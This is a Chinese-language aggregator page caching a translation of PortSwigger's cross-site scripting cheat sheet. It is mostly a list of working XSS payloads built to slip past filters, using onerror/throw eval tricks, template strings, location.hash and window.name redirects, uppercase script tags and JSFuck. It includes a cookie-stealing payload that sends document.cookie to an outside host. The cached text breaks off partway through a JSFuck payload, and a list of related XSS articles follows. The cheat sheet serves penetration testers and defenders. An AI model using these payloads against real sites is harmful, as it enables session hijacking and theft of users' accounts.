跨站脚本攻击(XSS)速查表

Lobsters Hottest 工具

摘要

本文是跨站脚本攻击(XSS)速查表,提供了执行XSS攻击的各种技术和代码示例,以及浏览器兼容性信息,来源为PortSwigger。

<p><a href="https://lobste.rs/s/uipfvv/cross_site_scripting_xss_cheat_sheet">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/09/25 17:15

# 跨站脚本攻击(XSS)备忘录 - 2026版 来源:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用异常处理** `onerror=alert;throw 1` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Eonerror%3Dalert%3Bthrow%201%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用异常处理,无分号** `\{onerror=alert\}throw 1` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow%201%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-no-semi-colons) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用异常处理,无分号,使用表达式** `throw onerror=alert,1` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%20onerror%3Dalert%2C1%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-no-semi-colons-using-expressions) 在Chrome中有效 **无括号,使用异常处理,在Chrome / Edge上进行字符串eval** `throw onerror=eval,'=alert\\x281\\x29'` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%20onerror%3Deval%2C%27%3Dalert%5Cx281%5Cx29%27%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-and-string-eval-on-chrome--edge) 在Safari中有效 **无括号,使用异常处理,在Safari上进行字符串eval** `throw onerror=eval,'alert\\x281\\x29'` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%20onerror%3Deval%2C%27alert%5Cx281%5Cx29%27%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-and-string-eval-on-safari) 在Firefox中有效 **无括号,使用异常处理,在Firefox上进行对象eval** `\{onerror=eval\}throw\{lineNumber:1,columnNumber:1,fileName:1,message:'alert\\x281\\x29'\}` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3E%7Bonerror%3Deval%7Dthrow%7BlineNumber%3A1%2CcolumnNumber%3A1%2CfileName%3A1%2Cmessage%3A%27alert%5Cx281%5Cx29%27%7D%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-and-object-eval-on-firefox) 在Firefox中有效 在Safari中有效 **无括号,使用异常处理,在Firefox / Safari上进行对象eval** `throw onerror=eval,e=new Error,e\.message='alert\\x281\\x29',e` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%20onerror%3Deval%2Ce%3Dnew%20Error%2Ce.message%3D%27alert%5Cx281%5Cx29%27%2Ce%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-and-object-eval-on-firefox--safari) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用异常处理,在所有浏览器上进行location hash eval** `throw onerror=Uncaught=eval,e=new Error,e\.message='/\*'\+location\.hash,\!\!window\.InstallTrigger?e:e\.message` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%20onerror%3DUncaught%3Deval%2Ce%3Dnew%20Error%2Ce.message%3D%27%2F%2A%27%2Blocation.hash%2C%21%21window.InstallTrigger%3Fe%3Ae.message%3C%2Fscript%3E&context=html#*/;alert(1);) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-exception-handling-and-location-hash-eval-on-all-browsers) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,无引号,无空格,使用异常处理,在所有浏览器上进行location hash eval** [`throw\{\},onerror=Uncaught=eval,h=location\.hash,e=\{lineNumber:1,columnNumber:1,fileName:0,message:h\[2\]\+h\[1\]\+h\},\!\!window\.InstallTrigger?e:e\.message`](https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%7B%7D%2Conerror%3DUncaught%3Deval%2Ch%3Dlocation.hash%2Ce%3D%7BlineNumber%3A1%2CcolumnNumber%3A1%2CfileName%3A0%2Cmessage%3Ah%5B2%5D%2Bh%5B1%5D%2Bh%7D%2C%21%21window.InstallTrigger%3Fe%3Ae.message%3C%2Fscript%3E&context=html#*/;alert(1);) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-no-quotes-no-spaces-using-exception-handling-and-location-hash-eval-on-all-browsers) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,无引号,无空格,无花括号,使用异常处理,在所有浏览器上进行location hash eval** [`throw/x/,onerror=Uncaught=eval,h=location\.hash,e=Error,e\.lineNumber=e\.columnNumber=e\.fileName=e\.message=h\[2\]\+h\[1\]\+h,\!\!window\.InstallTrigger?e:e\.message`](https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%2Fx%2F%2Conerror%3DUncaught%3Deval%2Ch%3Dlocation.hash%2Ce%3DError%2Ce.lineNumber%3De.columnNumber%3De.fileName%3De.message%3Dh%5B2%5D%2Bh%5B1%5D%2Bh%2C%21%21window.InstallTrigger%3Fe%3Ae.message%3C%2Fscript%3E&context=html#*/;alert(1);) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-no-quotes-no-spaces-no-curly-brackets-using-exception-handling-and-location-hash-eval-on-all-browsers) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用ES6 hasInstance和instanceof与eval** [`'alert\\x281\\x29'instanceof\{\[Symbol\.hasInstance\]:eval\}`](https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3E%27alert%5Cx281%5Cx29%27instanceof%7B%5BSymbol.hasInstance%5D%3Aeval%7D%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-es6-hasinstance-and-instanceof-with-eval) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用ES6 hasInstance和instanceof与eval,无\.** [`'alert\\x281\\x29'instanceof\{\[Symbol\['hasInstance'\]\]:eval\}`](https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3E%27alert%5Cx281%5Cx29%27instanceof%7B%5BSymbol%5B%27hasInstance%27%5D%5D%3Aeval%7D%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-es6-hasinstance-and-instanceof-without-) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用location重定向** `location='javascript:alert\\x281\\x29'` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Elocation%3D%27javascript%3Aalert%5Cx281%5Cx29%27%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-location-redirect) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用location重定向,无字符串** `window\.name='alert\(1\)';location=name` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ewindow.name%3D%27alert%281%29%27%3B%3C%2Fscript%3E%3Cscript%3Elocation%3Dname%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-location-redirect-no-strings) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用模板字符串** `alert\`1\`` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ealert%601%60%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-template-strings) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号,使用模板字符串和location hash** `new Function\`X$\{document\.location\.hash\.substr\`1\`\}\`` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Enew%20Function%60X%24%7Bdocument.location.hash.substr%601%60%7D%60%3C%2Fscript%3E&context=html#alert(1)) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-using-template-strings-and-location-hash) 在Chrome中有效 在Firefox中有效 在Safari中有效 **无括号或空格,使用模板字符串和location hash** `Function\`X$\{document\.location\.hash\.substr\`1\`\}\`\`\`` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3EFunction%60X%24%7Bdocument.location.hash.substr%601%60%7D%60%60%60%3C%2Fscript%3E&context=html#alert(1)) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#no-parentheses-or-spaces-using-template-strings-and-location-hash) 在Chrome中有效 在Firefox中有效 在Safari中有效 **XSS Cookie窃取,无括号、反引号或引号** `` (https://portswigger-labs.net/xss/xss.php?x=%3Cvideo%3E%3Csource%20onerror%3Dlocation%3D%2F%5C02.rs%2F%2Bdocument.cookie%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#xss-cookie-exfiltration-without-parentheses-backticks-or-quotes) 在Chrome中有效 在Firefox中有效 在Safari中有效 **XSS,无大于号** [`throw\[onerror\]=\[alert\],1`](https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ethrow%5Bonerror%5D%3D%5Balert%5D%2C1%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#array-based-destructuring-using-onerror) 在Chrome中有效 在Firefox中有效 在Safari中有效 **使用onerror进行解构赋值** `var\{a:onerror\}=\{a:alert\};throw 1` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Evar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%201%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#destructuring-using-onerror) 在Chrome中有效 在Firefox中有效 在Safari中有效 **使用默认值和onerror进行解构赋值** `var\{haha:onerror=alert\}=0;throw 1` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Evar%7Bhaha%3Aonerror%3Dalert%7D%3D0%3Bthrow%201%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#destructuring-using-default-values-and-onerror) 在Chrome中有效 在Firefox中有效 在Safari中有效 **使用window\.name的向量** `window\.name='javascript:alert\(1\)';` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ewindow.name%3D%27javascript%3Aalert%281%29%27%3B%3C%2Fscript%3E%3Csvg%20onload%3Dlocation%3Dname%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vector-using-windowname) 在Chrome中有效 在Firefox中有效 在Safari中有效 **避免赋值左侧无效,无 \`, \(\), ?, \[\], 或 ,,使用对象字面量** `window\.name='javascript:alert\(1\)';function blah\(\)\{\} blah\(""\+\{a:location=name\}\+""\)` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ewindow.name%3D%27javascript%3Aalert%281%29%27%3Bfunction%20blah%28%29%7B%7D%0Ablah%28%22%22%2B%7Ba%3Alocation%3Dname%7D%2B%22%22%29%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#avoiding-invalid-lefthand-side-in-assignment-without------or--using-object-literal) 在Chrome中有效 在Firefox中有效 在Safari中有效 **避免赋值左侧无效,无 \`, \(\), ?, \[\], 或 ,,使用new class** `window\.name='javascript:alert\(1\)';function blah\(\)\{\} blah\(""\+new class b\{toString=e=\>location=name\}\+""\)` (https://portswigger-labs.net/xss/xss.php?x=%3Cscript%3Ewindow.name%3D%27javascript%3Aalert%281%29%27%3Bfunction%20blah%28%29%7B%7D%0Ablah%28%22%22%2Bnew%20class%20b%7BtoString%3De%3D%3Elocation%3Dname%7D%2B%22%22%29%3C%2Fscript%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#avoiding-invalid-lefthand-side-in-assignment-without------or--using-new-class) 在Chrome中有效 在Firefox中有效 在Safari中有效 **Script标签,仅使用大写字母** `` (https://portswigger-labs.net/xss/xss.php?x=%3CSCRIPT%20SRC%3DHTTPS%3A%2F%2FPORTSWIGGER-LABS.NET%2FA.JS%3E%3C%2FSCRIPT%3E&context=html) [跳转到代码链接](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#script-tag-using-only-uppercase) 在Chrome中有效 在Firefox中有效 在Safari中有效 **Script标签,仅使用大写字母,使用JSFuck和内联** [`\[\]\[\(\!\[\]\+\[\]\)\[\+\[\]\]\+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\]\+\(\!\[\]\+\[\]\)\[\+\!\+\[\]\]\+\(\!\!\[\]\+\[\]\)\[\+\[\]\]\]\[\(\[\]\[\(\!\[\]\+\[\]\)\[\+\[\]\]\+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\]\+\(\!\[\]\+\[\]\)\[\+\!\+\[\]\]\+\(\!\!\[\]\+\[\]\)\[\+\[\]\]\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\+\!\+\[\]\]\+\(\!\!\[\]\+\[\]\[\(\!\[\]\+\[\]\)\[\+\[\]\]\+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\]\+\(\!\[\]\+\[\]\)\[\+\!\+\[\]\]\+\(\!\!\[\]\+\[\]\)\[\+\[\]\]\]\)\[\+\!\+\[\]\+\[\+\[\]\]\]\+\(\[\]\[\[\]\]\+\[\]\)\[\+\!\+\[\]\]\+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\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+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\+\!\+\[\]\]\+\(\!\!\[\]\+\[\]\)\[\+\[\]\]\+\(\!\!\[\]\+\[\]\)\[\+\!\+\[\]\]\+\(\[\]\[\[\]\]\+\[\]\)\[\+\[\]\]\+\(\[\]\[\(\!\[\]\+\[\]\)\[\+\[\]\]\+\(\!\[\]\+\[\]\)\[\!\+\[\]\+\!\+\[\]\]\+\(\!\[\]\+\[\]\

相似文章

标签名中的奥秘?原来是JavaScript

Lobsters Hottest

PortSwigger的研究文章展示了利用HTML标签名中的JavaScript属性进行新的XSS攻击向量,使WAF绕过在不同浏览器中成为可能。

yarr RSS 阅读器中的 XSS 漏洞

Lobsters Hottest

一位安全研究人员详细介绍了 yarr(一款用 Go 编写的开源 RSS 阅读器)中的一个跨站脚本(XSS)漏洞,该漏洞源于过于宽松的 iframe src 过滤逻辑以及可被绕过的同源域名检查。

值得记忆的原生网页技巧

Hacker News Top

HTMLcat 是一个提供针对 HTML、CSS 和 JavaScript 的小型原生网页技巧的资源,包括示例以及浏览器支持和无障碍访问的说明。

CSS历史趣闻

Hacker News Top

本文探讨了历史上的CSS技巧和怪癖,详述了早期网页开发中使用的浏览器特定利用方法,例如属性解析和文档级别的检测方法。

XSS对通行密钥是致命的:无证明的隐藏风险

Lobsters Hottest

本文解释了一个单一的XSS漏洞如何能够在证明设置为'none'的情况下破坏通行密钥的抗钓鱼能力,允许攻击者注册自己的通行密钥并实现持久账户接管。文章呼吁关注这一被忽视的威胁并提出了防御措施。